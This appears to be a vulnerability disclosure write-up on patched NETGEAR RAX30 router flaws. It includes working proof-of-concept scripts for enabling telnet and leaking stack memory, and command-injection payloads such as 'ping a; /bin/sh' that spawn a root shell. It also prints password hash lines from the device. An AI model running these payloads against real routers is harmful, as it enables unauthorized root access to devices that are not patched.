The following vulnerabilities were identified on the NETGEAR Nighthawk WiFi 6 Router (RAX30 AX2400) and may exist on other NETGEAR router models. All vulnerabilities discussed are patched in firmware version 1.0.10.94.
Service | Vulnerability | NETGEAR PSV | Patched Firmware |
---|---|---|---|
Telnet | Telnet Privilege Escalation Breakout | PSV-2023-0008 | v1.0.10.94 |
Web Application | JSON Response Stack Data Leak | Unknown | v1.0.9.92 |
SOAP Service | Write HTTP Response Stack Pointer Leak | PSV-2023-0009 | v1.0.10.94 |
SOAP Service | SOAPAction Stack Buffer Overflow | Unknown | v1.0.9.92 |
SOAP Service | HTTP Body NULL Terminator Stack Canary Corruption (DoS) | PSV-2023-0010 | v1.0.10.94 |
SOAP Service | HTTP Protocol Stack Buffer Overflow | PSV-2023-0011 | v1.0.10.94 |
SOAP Service | SOAP Parameters Stack Buffer Overflow | PSV-2023-0012 | v1.0.10.94 |
The vulnerable firmware can be downloaded on NETGEAR’s website at RAX30-V1.0.7.78.zip and RAX30-V1.0.9.92.zip.
NETGEAR published the following advisories covering the majority of these vulnerabilities:
By design, no shell to gain command line access to the router was
documented by NETGEAR. However, it was observed that the binary
/usr/bin/pu_telnetEnabled
was running on port 23/udp on the
router’s LAN side interface, which could receive a specially crafted
packet to enable telnet.
Various researchers have previously analyzed this binary in the past,
as seen at OpenWRT NETGEAR
Telnet Console and GitHub
NETGEARTelnetEnable. However, the provided code to enable telnet did
not work for this specific NETGEAR RAX30 AX2400 model. This is because,
for historical versions of /usr/bin/pu_telnetEnabled
, the
admin password was sent in plaintext after being decrypted, whereas on
this version, the password was expected to be hashed using SHA-256
before encryption.
The /usr/bin/pu_telnetEnabled
binary listened for a
custom encrypted packet containing the device admin username, admin
password and LAN MAC address. It was possible to reverse engineer the
binary by extracting the binary from the firmware image that could be
publicly downloaded from NETGEAR’s website. The exact specifics on the
packet format and encryption used remained the same as detailed in OpenWRT NETGEAR
Telnet Console.
The following C program (telnet_packet_encrypt.c) was used to encrypt the payload with the Blowfish algorithm and must be compiled with Rupan/blowfish.
#include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <stdbool.h> #include "blowfish/blowfish.h" // gcc telnet_packet_encrypt.c blowfish.c -o telnet_packet_encrypt void printBuffer(uint8_t* buffer, int length) { for (int i = 0; i < length; i++) printf("%02x", buffer[i]); } bool hexStringToBytes(char* hex, char* buffer, size_t bufferSize) { size_t hexLength = strlen(hex); size_t index = 0; for (size_t i = 0; i < hexLength; i += 2) { if (index >= bufferSize) return false; sscanf(hex + i, "%2hhx", buffer[index]); index++; } return true; } int main(int argc, char* argv[]) { if (argc != 3) { printf("Usage: %s <key> <hex-payload>", argv[0]); return 1; } char* key = argv[1]; size_t keyLength = strlen(key); char* hexPayload = argv[2]; size_t hexPayloadLength = strlen(hexPayload); // Ensure key is not empty if (strlen(key) <= 0) { printf("Error: Key parameter must not be empty."); return 2; } // Ensure hex payload is not empty if (hexPayloadLength != 0x80 * 2) { printf("Error: Payload parameter must be 0x80 bytes."); return 3; } // Ensure hex payload size is a multiple of 2 if (hexPayloadLength % 2 != 0) { printf("Error: Payload parameter must be a valid hex string."); return 4; } // Get the hex payload as bytes size_t plaintextBufferSize = (size_t)(hexPayloadLength / 2); uint8_t* plaintextBuffer = (uint8_t*)malloc(plaintextBufferSize); hexStringToBytes(hexPayload, plaintextBuffer, plaintextBufferSize); // Initalise Blowfish BLOWFISH_CTX gContext; Blowfish_Init( gContext, key, keyLength); // Encrypt plaintextBuffer to encryptedBuffer uint32_t encryptedBuffer[plaintextBufferSize / sizeof(uint32_t)]; uint8_t* pPlaintextCurrent = plaintextBuffer; for (uint8_t* pCurrent = (uint8_t*)encryptedBuffer; (uint64_t)pCurrent - (uint64_t)encryptedBuffer < plaintextBufferSize; pCurrent += 8) { uint8_t* pcVar2 = pCurrent - 1; uint8_t* pcVar6 = pPlaintextCurrent; uint8_t* pcVar7; do { pcVar7 = pcVar6 + 1; pcVar2 = pcVar2 + 1; *pcVar2 = *pcVar6; pcVar6 = pcVar7; } while (pcVar7 != pPlaintextCurrent + 8); Blowfish_Encrypt( gContext, (uint32_t*)pCurrent, (uint32_t*)(pCurrent + 4)); pPlaintextCurrent += 8; } printBuffer((uint8_t*)encryptedBuffer, plaintextBufferSize); return 0; }
The following Python3 script (pu_telnetenable.py) could then be executed to enable telnet on port 23/tcp on the router if the supplied username, password and MAC address are valid. This itself is not a vulnerability as it was hidden functionality implemented by NETGEAR and still required valid admin credentials in order to gain access to the shell.
import socket import subprocess import os import argparse import re import sys import Crypto.Hash.SHA256 import Crypto.Hash.MD5 import sys class Logger: DEFAULT = '\033[0m' BLACK = '\033[0;30m' RED = '\033[0;31m' GREEN = '\033[0;32m' ORANGE = '\033[0;33m' BLUE = '\033[0;34m' PURPLE = '\033[0;35m' CYAN = '\033[0;36m' LIGHT_GRAY = '\033[0;37m' DARK_GRAY = '\033[1;30m' LIGHT_RED = '\033[1;31m' LIGHT_GREEN = '\033[1;32m' YELLOW = '\033[1;33m' LIGHT_BLUE = '\033[1;34m' LIGHT_PURPLE = '\033[1;35m' LIGHT_CYAN = '\033[1;36m' WIHTE = '\033[1;37m' @staticmethod def write(message = ''): print(message) @staticmethod def space(): Logger.write() @staticmethod def fatal(code, message = ''): Logger.error(message) sys.exit(code) @staticmethod def error(message = ''): Logger.write(Logger.RED + '[-] ' + message + Logger.DEFAULT) @staticmethod def warning(message = ''): Logger.write(Logger.ORANGE + '[!] ' + message + Logger.DEFAULT) @staticmethod def info(message = ''): Logger.write(Logger.BLUE + '[#] ' + Logger.DEFAULT + message) @staticmethod def success(message = ''): Logger.write(Logger.GREEN + '[+] ' + Logger.DEFAULT + message) class Payload: def __init__(self, username, password, mac, log = True): self.username = username self.password = password self.mac = mac self.signature = None # SHA256 Hash password self.sha256PasswordHash = Crypto.Hash.SHA256.new(self.password.encode('ascii')).digest().hex() # Create payload if log: Logger.info('Creating payload...') self.payload = self.create(log) # Encrypt payload if log: Logger.info('Encrypting payload...') self.encrypted = self.encrypt(log) # typedef struct { # char signature[16]; // 0x00 # char mac[16]; // 0x10 # char username[16]; // 0x20 # char password[65]; // 0x30 # uint8_t reserved[15]; // 0x71 # } Payload; def create(self, log = True): # Pad variables bMac = self.mac.encode('ascii').ljust(16, b'\x00') bUsername = self.username.encode('ascii').ljust(16, b'\x00') bPassword = self.sha256PasswordHash.encode('ascii').ljust(65, b'\x00') bReserved = b'\x00' * 15 # Build content bContent = bMac + bUsername + bPassword + bReserved assert(len(bContent) == 0x70) # Build MD5 hash signature self.signature = Crypto.Hash.MD5.new(bContent).digest() bSignature = self.signature # Build payload bPayload = bSignature + bContent assert(len(bPayload) == 0x80) if log: Logger.info('') Logger.info('payload {') Logger.info(' signature: ' + bSignature.hex()) Logger.info(' mac: ' + bMac.hex() + ' (' + bMac.decode('ascii') + ')') Logger.info(' username: ' + bUsername.hex() + ' (' + bUsername.decode('ascii') + ')') Logger.info(' password: ' + bPassword.hex() + ' (' + bPassword.decode('ascii') + ')') Logger.info(' reserved: ' + bReserved.hex()) Logger.info('}') Logger.info('') return bPayload def encrypt(self, log = True): key = "AMBIT_TELNET_ENABLE+" + self.sha256PasswordHash # Encrypt the packet process = subprocess.Popen([os.path.dirname(os.path.realpath(__file__)) + '/telnet_packet_encrypt', key, self.payload.hex()], stdout=subprocess.PIPE) stdout, stderr = process.communicate() encryptedPayload = bytearray.fromhex(stdout.decode('ascii')) if log: Logger.info('') Logger.info('encrypted payload') for i in range(0, len(encryptedPayload), 8): Logger.info(' ' + encryptedPayload[i:i + 8].hex()) Logger.info('') return encryptedPayload def send(self, ip, port): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.sendto(self.encrypted, (ip, port)) class Validation: @staticmethod def validateUsername(username): if len(username) <= 0: return "admin" if len(username) > 16: Logger.fatal(1, 'Username exceeds the maximum length of 16.') return username @staticmethod def validatePassword(password): if password == None: return "" if len(password) > 65: Logger.fatal(2, 'Password exceeds the maximum length of 65.') return password @staticmethod def validateMac(mac): mac = mac.replace(':', '').upper() if not re.match(r"[A-F0-9]{12}", mac): Logger.fatal(3, 'MAC address is invalid.') return mac if __name__ == "__main__": parser = argparse.ArgumentParser(description='Enable telnet on NETGEAR RAX30 router.') parser.add_argument('--ip', default='192.168.1.1', help='The NETGEAR router IP address.') parser.add_argument('--port', default=23, type=int, help='The UDP port to connect to.') parser.add_argument('--username', default='admin', help='The account username.') parser.add_argument('--password', help='The account password.') parser.add_argument('--mac', required=True, help='The router LAN MAC address.') args = parser.parse_args() if os.name == 'nt': Logger.fatal(4, 'Windows not supported') # Validate and create payload payload = Payload( Validation.validateUsername(args.username), Validation.validatePassword(args.password), Validation.validateMac(args.mac) ) # Send payload Logger.info('Sending payload...') payload.send(args.ip, args.port) Logger.info('Payload sent!')
A default account command injection breakout vulnerability was
present in the /lib/libcms_cli.so
library imported by the
custom NETGEAR /bin/telnetd
binary running on port 23/tcp.
By default, this port is not open in the firewall, and therefore it must
be opened in order to leverage this vulnerability. This port could be
opened by the hidden /usr/bin/pu_telnetEnabled
service
running on port 23/udp, as discussed previously, or by another
vulnerability.
The NETGEAR router ships with a default “user” account, which has a hardcoded password of “user”. Standard authentication of this user to telnet provides you with a telnet console that has a limited number of commands:
┌──(kali㉿kali)-[~] └─$ nc 192.168.2.1 23 !BCM96750 Broadband Router Login: user Password: user > help help ? help logout exit quit reboot exitOnIdle ping lanhosts passwd restoredefault save swversion uptime wan > sh telnetd::214.801:error:processInput:384:unrecognized command sh
As you can see, by default, the user only has permission to run a small number of commands and cannot execute the hidden “sh” command due to incorrect account permissions.
The /lib/libcms_cli.so
library handles the command line
command received by the user in the cli_processCliCmd
function. This function checks the first word of the command against a
list of commands in the libraries data section, which are stored using
the following C Command
structure:
struct Command { char * name; char * description; uint8_t permission; uint8_t lock; uint8_t field4_0xa; uint8_t field5_0xb; void * execute; };
The structure data in the binary for the vulnerable ping
command structure is seen below:
00039d98 23 5b 02 00 23 Command [27] 5b 02 00 c1 00 00 00 00 00 00 00039d98 23 5b 02 00 char * s_ping_00025b15+14 name = "ping" 00039d9c 23 5b 02 00 char * s_ping_00025b15+14 description = "ping" 00039da0 c1 uint8_t C1h permission 00039da1 00 uint8_t '\0' lock 00039da2 00 uint8_t '\0' field4_0xa 00039da3 00 uint8_t '\0' field5_0xb 00039da4 00 00 00 00 void * 00000000 execute
ping
is a command the user
has permission
to access, and additionally, it has a NULL execute
function
pointer. Therefore, the code executes the command directly as a shell
command [1], as shown in the following cli_processCliCmd
function:
int cli_processCliCmd(char *command) { int ret = 0; char _command [4096]; memset(_command,0,4096); int cmp = strncasecmp(command, "netctl", 6); if (cmp == 0) { command = command + 7; } // Copy command to local buffer strcpy(_command, command); size_t commandLength = strlen(_command); // Calculate the command first word length size_t givenCommandFirstWordLength = 0; char* commandName = _command; while ((givenCommandFirstWordLength != commandLength (*commandName != ' '))) { givenCommandFirstWordLength = givenCommandFirstWordLength + 1; commandName = commandName + 1; } // Find command in command list uint8_t currentPermission = currPerm; int commandIndex = 0; Command *pCommand = pCommands; while (true) { commandName = pCommand->name; size_t commandNameLength = strlen(commandName); if (((commandNameLength == givenCommandFirstWordLength) (ret = strncasecmp(_command, commandName, givenCommandFirstWordLength), ret == 0)) ((currentPermission pCommand->permission) != 0)) break; commandIndex++; pCommand++; if (commandIndex == 0x32) { return 0; } } [TRUNCATED] // [1] If the command has no function pointer, execte command in shell if ((code *)pCommands[commandIndex].execute == (code *)0x0) { prctl_runCommandInShellWithTimeout(_command); // <--- [1] } else { char* args; if (givenCommandFirstWordLength == commandLength) { args = _command + givenCommandFirstWordLength; } else { args = _command + givenCommandFirstWordLength + 1; } // Otherwise execute function pointer (*(code *)pCommands[commandIndex].execute)(args); } [TRUNCATED] return 1; }
No data validation is performed on the command being executed; therefore, we can provide various injection characters to execute another command.
The following list is a subset of injection examples:
ping a; /bin/sh
ping 127.0.0.1 /bin/sh
ping a || /bin/sh
ping $(touch /tmp/example)
ping `/tmp/example`
ping a | touch /tmp/example
The following output snippet shows the command injection vulnerability being leveraged to gain a root/admin shell:
┌──(kali㉿kali)-[~] └─$ nc 192.168.1.1 23 !BCM96750 Broadband Router Login: user Password: user > ping -c aa; /bin/sh ping: invalid number 'aa' BusyBox v1.31.1 (2022-03-04 19:12:56 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # cat /etc/passwd admin:<redacted>:0:0:Administrator:/:/bin/sh support:$1$QkcawmV.$VU4maCah6eHihce5l4YCP0:0:0:Technical Support:/:/bin/sh user:$1$9RZrTDt7$UAaEbCkq.Qa4u0QwXpzln/:0:0:Normal User:/:/bin/sh nobody:<redacted>:0:0:nobody for ftp:/:/bin/sh
The web application allowed consumers to login to the website and manage their router on the LAN/WLAN interface through a browser. The majority of the web application functionality was only accessible from an authenticated user, however some functionality was accessible as an unauthenticated user.
A memory read leak vulnerability existed in the unauthenticated web
/webs/pwd_reset/reset_pwd.cgi
binary which ran by default
on the LAN interface of the RAX30 router. This binary is a custom
NETGEAR CGI binary which handled unauthenticated password reset HTTP
requests through the HTTP server.
This leak allowed you to read approximately 12 bytes from the stack before reaching a NULL byte.
The handle_checkSN
(0x015f70
) function is
shown below and handled a serial number check request as part of the
reset password process. When the JSON parameter
serialNumber
was not found [2], the request JSON body [3]
was passed as the error message to jsonResponse
(0x0012cac
) [4].
void handle_checkSN(int jsonData) { fprintf(stderr,"CGI_DEBUG> %s:%d: Enter check serial number...\n","cgi_device.c",0xb5); int serialNumberObj; // Do not provide the "serialNumber" key to ensure we hit the following if statement int iVar1 = json_object_object_get_ex(jsonData,"serialNumber", serialNumberObj); // <--- [2] if (iVar1 == 0) { fprintf(stderr,"CGI_ERROR> %s:%d: Failed to parse the input JSON data no serialNumber!!!\n","cgi_device.c",0xd5); // The json is retrieved from the "data" key char *message = json_object_get_string(jsonData); // <--- [3] // JSON string is passed to jsonResponse jsonResponse("error",message); // <--- [4] fprintf(stderr,"CGI_DEBUG> %s:%d: Exit check serial number...\n","cgi_device.c",0xd9); } else { [TRUNCATED] } return; }
This function allocated a buffer of 1024 bytes on the stack [5] for
the response string and then copied 1023 bytes from the JSON request to
the buffer [6]. However, no NULL terminator was set at the end of the
buffer, therefore when providing a request of more than 1024 bytes, no
NULL value was present to terminate the string and the data following
the string was leaked until a NULL byte was found when printed with
printf
[7].
void jsonResponse(char *status,char *message) { // Buffer of size 1024 char buffer [1024]; // <--- [5] int uVar1 = json_object_new_object(); int uVar2 = json_object_new_string(status); json_object_object_add(uVar1, "status", uVar2); uVar2 = json_object_new_string(message); json_object_object_add(uVar1, "message", uVar2); char *json = json_object_to_json_string_ext(uVar1, 2); // Copy first 1023 bytes of JSON string to buffer strncpy(buffer, json, 1023); // <--- [6] // No NULL terminator is set at buffer[1024] = '\0', buffer is outputted to response printf("Content-Type: application/json\n\n%s", buffer); // <--- [7] json_object_put(uVar1); return; }
The following request of 971 A
characters in the JSON
data field value caused the server to respond with leaked memory data.
Only 971 characters were required because of the additional characters
appended by the server in the JSON response which in total resulted in
1024 bytes.
POST /pwd_reset/reset_pwd.cgi HTTP/1.1 Host: 192.168.2.1 Content-Length: 1008 {"function":"checkSN","data":{"":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}}
The excess binary data could be seen after the JSON response:
HTTP/1.1 200 OK Content-Type: application/json [TRUNCATED] Content-Length: 1035 Server: lighttpd/1.4.59 { "status":"error", "message":"{ \"\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" }" }¶Ø}¶ /+Àw
The following proof of concept script (reset_pw_check_sn_leak.py) triggers the leak.
#!/usr/bin/env python3 import argparse import requests import urllib3 if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Leak memory from the web server on NETGEAR RAX30 router.') parser.add_argument('--ip', default='192.168.0.1', help='The NETGEAR router web IP.') args = parser.parse_args() print('Leaking data...') limit = 30 for i in range(0, limit): payload = 'A' * 971 response = requests.post('http://' + args.ip + '/pwd_reset/reset_pwd.cgi', json={ 'function': 'checkSN', 'data': { '': payload } }, verify=False) if b'status":"error' in response.content: overflow = response.content[1023:] print(str(i + 1) + '/' + str(limit) + ': ' + " ".join(["{:02x}".format(x) for x in overflow])) else: print('Received unexpected response from server!')
Upon executing this script, we can see the leaked memory bytes containing memory pointers.
└─$ python3 reset_pw_check_sn_leak.py Leaking data... 1/10: b6 d8 0d 81 b6 28 8f e2 01 c0 77 01 2/10: b6 d8 0d 82 b6 28 1f 4c 3/10: b6 d8 cd 84 b6 28 3f ba 4/10: b6 d8 ad 84 b6 28 5f 59 5/10: b6 d8 7d 7e b6 28 df a6 01 c0 77 01 6/10: b6 d8 fd 80 b6 28 af 65 7/10: b6 d8 6d 87 b6 28 1f b1 01 c0 77 01 8/10: b6 d8 dd 87 b6 28 ff a9 01 c0 77 01 9/10: b6 d8 4d 7d b6 28 9f bf 10/10: b6 d8 3d 87 b6 28 cf 8e 01 c0 77 01
The buffer
stack variable is now initialized with NULL
bytes and as only 1023 bytes are copied from the JSON string, the buffer
will always have a NULL terminator.
void jsonResponse(char *status,char *message) { // Buffer of size 1024 char buffer [1024]; memset(buffer, 0, 1024); ... strncpy(buffer, json, 1023); }
A HTTPS SOAP service (/bin/soap_serverd
) runs by default
on port LAN 5043/tcp. The custom NETGEAR SOAP service handles HTTPS
requests from the Nighthawk
App when the mobile device is connected to the router on the
LAN/WLAN interface. The /bin/soap_serverd
binary
auto-restarts after approximately 15 seconds when it has terminated or
crashed.
Checking the /bin/soap_serverd
binary with checksec.py shows the
following protections are set:
└─$ checksec --file bin/soap_serverd [*] '/bin/soap_serverd' Arch: arm-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
The presence of these mitigation’s cause many vulnerabilities to be ineffective on their own and usually require multiple vulnerabilities to be chained together to overcome.
For example, a stack canary inserts a random 4 byte value at the end of the stack variables and therefore any stack buffer overflow vulnerabilities will corrupt this value before corrupting important stack values such as the next return pointer. A check occurs at the end of each function to validate the stack canary is not corrupted, however if it is corrupt, the binary will terminate with the error message “Stack smashing detected”.
Address layout randomization (ASLR) is enabled which changes the base address of the main executable, libraries and the heap each time the executable is ran. Therefore, hard-coded addresses cannot be used in the vulnerability payload and instead a separate leak vulnerability is required.
A stack pointer leak vulnerability exists within the
writeHttpResponse
(0x0018b4c
) function which
handles sending the HTTP response to the API request. The vulnerability
occurs due to the executing of strncat
[8] on the stack
buffer response
without initialising the buffer with data.
Therefore, if any data exists in memory at the response
stack location that does not start with a NULL byte, that data will be
sent in the HTTP response before the main HTTP response.
void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message) { size_t responseLen; char buffer [128]; char response [1024]; _writeHttpHeaders(httpCode, httpCodeStr, param_4, "text/html"); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<BODY BGCOLOR=\"#cc9999\"><H4>%d %s</H4>\ n", httpCode, httpCodeStr, httpCode, httpCodeStr); strncat(response, buffer, 0x80); // Buffer is appended to any existing data in the response variable <--- [8] memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "%s\n", message); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "<HR>\n<ADDRESS><A HREF=\"%s\">%s</A></ADDRESS>\n</BODY></HTML>\n", "http://schemas.xmlsoap.org/soap/encoding/", "\"OS/version\" UPnP/1.0 \"product/version\""); strncat(response, buffer, 0x80); responseLen = strlen(response); __fprintf_chk(param_1->file, 1, response, responseLen); return; }
To trigger the stack pointer leak, a valid SOAP request with a large SOAPAction buffer is sent to the SOAP service to create a large HTTP response. This is done to avoid NULL bytes truncating the amount of data that is leaked.
POST /soap/server_sa/ HTTP/1.0 User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Content-Length: 443 Host: 192.168.2.1:5043 <!--?xml version="1.0" encoding= "UTF-8" ?--> <v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"> <v:Header> <SessionId></SessionId> </v:Header> <v:Body> <n0:GetInfo xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" /> </v:Body> </v:Envelope>
Next, an invalid request is made to trigger the
writeHttpResponse
function call which returns the HTTP
response with the leaked data preceding it.
INVALID /soap/server_sa/ HTTP/1.0 User-Agent: ksoap2-android/2.6.0+ Content-Length: 0 Host: 192.168.2.1:5043
The resulting response outputs the leaked memory before the HTTP response, including a stack address pointer:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAResponse xmlns:m="urn:NETGEAR-ROUTER:service:DeviceInfo:1"> <¨È×¾HTTP/1.1 400 Bad Request Server: "OS/version" UPnP/1.0 "product/version" Date: Fri, 02 Dec 2022 01:07:47 GMT Content-Type: text/html Connection: close <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4> That method is not handled by us. <HR> <ADDRESS><A HREF="http://schemas.xmlsoap.org/soap/encoding/">"OS/version" UPnP/1.0 "product/version"</A></ADDRESS> </BODY>
The following proof of concept script (soap_cat_memory_leak.py) can be executed to leak the stack address range and stack pointer address on firmware version v1.0.9.92.
#!/usr/bin/env python3 import argparse import requests import urllib3 import struct import ssl import socket def sendLargeBuffer(url, length): payload = 'A' * length headers = { 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#' + payload, 'Content-Type': 'text/xml;charset=utf-8', } xml = """ <!--?xml version="1.0" encoding= "UTF-8" ?--> <v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"> <v:Header> <SessionId></SessionId> </v:Header> <v:Body> <n0:GetInfo xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" /> </v:Body> </v:Envelope> """ requests.post(url, data=xml, headers=headers, verify=False) def triggerMemoryLeak(hostname, port): request = """INVALID /soap/server_sa/ HTTP/1.0 User-Agent: ksoap2-android/2.6.0+ Content-Length: 0 Host: """+hostname+""":"""+str(port)+""" """ # Create SSL context cxt = ssl.create_default_context() cxt.check_hostname = False cxt.verify_mode = ssl.CERT_NONE # HTTPS Request response = b"" with socket.create_connection((args.domain, args.port)) as sock: with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock: ssock.send(request.encode()) while True: data = ssock.recv(2048) if len(data) <= 0: break response += data return response if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Remote stack pointer leak from soap_serverd binary on NETGEAR RAX30 router.') parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.') parser.add_argument('--port', default=5043, type=int, help='The router soap server port.') args = parser.parse_args() domain = 'https://' + args.domain + ':' + str(args.port) print('Sending large buffer...') sendLargeBuffer(domain + '/soap/server_sa/', 500) print('Triggering leak...') response = triggerMemoryLeak(args.domain, args.port) # Remove surrounding ASCII leakStart = b'xmlns:m="urn:NETGEAR-ROUTER:service:DeviceInfo:1">\r\n <' leakEnd = b'HTTP/1.1 400 Bad Request\r\n' leak = response[response.index(leakStart)+len(leakStart):response.index(leakEnd)] # Print leaked data print('Leaked data: ' + " ".join(["{:02x}".format(x) for x in leak])) # Print leaked stack address address = struct.unpack('<I', leak[:4])[0] print('Stack Pointer: ' + hex(address)) print('Stack: ' + hex(address - 0x1D8A8) + '-' + hex(address + 0x3758))
The following script output shows the stack pointer
0xbed7c8a8
was leaked, which was used to determine the
stack memory range of 0xbed5f000
to
0xbed80000
.
